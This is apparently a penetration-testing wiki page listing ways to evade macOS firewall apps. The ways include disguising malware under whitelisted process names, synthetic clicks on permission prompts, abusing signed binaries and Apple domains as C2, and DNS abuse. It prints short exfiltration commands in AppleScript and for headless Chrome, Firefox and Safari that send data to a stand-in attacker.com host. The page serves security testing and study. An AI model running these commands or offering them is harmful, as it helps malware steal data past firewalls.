# macOS Bypassing Firewalls

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## Found techniques

The following techniques were found working in some macOS firewall apps.

### Abusing whitelist names

* For example calling the malware with names of well known macOS processes like **`launchd`**&#x20;

### Synthetic Click

* If the firewall ask for permission to the user make the malware **click on allow**

### **Use Apple signed binaries**

* Like **`curl`**, but also others like **`whois`**

### Well known apple domains

The firewall could be allowing connections to well known apple domains such as **`apple.com`** or **`icloud.com`**. And iCloud could be used as a C2.

### Generic Bypass

Some ideas to try to bypass firewalls

### Check allowed traffic

Knowing the allowed traffic will help you identify potentially whitelisted domains or which applications are allowed to access them

```bash
lsof -i TCP -sTCP:ESTABLISHED
```

### Abusing DNS

DNS resolutions are done via **`mdnsreponder`** signed application which will probably vi allowed to contact DNS servers.

<figure><img src="../../.gitbook/assets/image (1) (1) (6).png" alt=""><figcaption></figcaption></figure>

### Via Browser apps

* **oascript**

```applescript
tell application "Safari"
    run
    tell application "Finder" to set visible of process "Safari" to false
    make new document
    set the URL of document 1 to "https://attacker.com?data=data%20to%20exfil
end tell
```

* Google Chrome

{% code overflow="wrap" %}
```bash
"Google Chrome" --crash-dumps-dir=/tmp --headless "https://attacker.com?data=data%20to%20exfil"
```
{% endcode %}

* Firefox

```bash
firefox-bin --headless "https://attacker.com?data=data%20to%20exfil"
```

* Safari

```bash
open -j -a Safari "https://attacker.com?data=data%20to%20exfil"
```

### Via processes injections

If you can **inject code into a process** that is allowed to connect to any server you could bypass the firewall protections:

{% content-ref url="macos-proces-abuse/" %}
[macos-proces-abuse](macos-proces-abuse/)
{% endcontent-ref %}

## References

* [https://www.youtube.com/watch?v=UlT5KFTMn2k](https://www.youtube.com/watch?v=UlT5KFTMn2k)

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